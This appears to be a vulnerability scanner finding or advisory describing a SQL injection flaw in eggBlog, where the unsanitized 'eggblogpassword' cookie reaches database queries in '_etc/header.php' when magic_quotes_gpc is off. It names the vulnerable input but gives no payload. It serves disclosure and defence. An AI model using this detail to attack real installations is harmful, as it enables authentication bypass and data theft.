The remote host is running eggBlog, a free PHP and MySQL blog software package.
The version of eggBlog installed on the remote host fails to sanitize input to the ‘eggblogpassword’ cookie before using it in ‘_etc/header.php’ to construct database queries. Provided PHP’s ‘magic_quotes_gpc’ setting is disabled, an attacker may be able to exploit this issue to manipulate database queries to disclose sensitive information, bypass authentication, modify data, or even attack the underlying database.
